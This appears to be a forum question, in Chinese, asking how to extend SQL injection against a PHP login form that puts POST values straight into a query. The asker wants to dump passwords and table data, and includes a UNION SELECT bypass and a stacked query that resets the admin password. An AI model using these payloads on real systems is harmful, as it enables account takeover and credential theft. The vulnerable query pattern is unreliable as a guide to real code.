这是后端 PHP 代码,我将在其中测试漏洞。
if(isset($_POST["login"]) && isset($_POST["password"])){
$login = $_POST["login"];
$password = $_POST["password"];
$sql="SELECT * FROM users WHERE login='$login' AND password='$password'";
$result= mysqli_query($conn, $sql);
if(mysqli_num_rows($result) != 0){
echo "<h1>Login Success!</h1>";
$row = mysqli_fetch_array($result);
extract($row);
echo "Welcome , ".$login;
}
这是我将注入登录字段的代码。
' UNION SELECT * FROM users --
看起来我可以登录,但是一旦注入后,我应该怎么做才能在错误消息或网页上的任何内容中显示密码?
就像你们建议将什么查询附加到代码中以提取密码、数据库信息、所有表等。
请注意,我的 SQL 知识有限,因此我可能不知道任何查询可以实现这一目的。
假设后端或服务器端 PHP 代码也接受多查询执行。我也想知道如何通过多查询注入提取密码的解决方案?
像下面的代码一样,我可以更新用户的详细信息,假设我知道当我将其输入登录字段时其中有一个管理员用户
' OR 1 = 1; UPDATE users SET password='stackOverFlow' WHERE login='admin' --
向我推荐两种在网页上显示密码或有用信息的解决方案,只需在登录字段中进行代码注入,而不是在服务器可以执行多 SQL 查询或服务器无法执行多查询的情况下进行 URL 注入。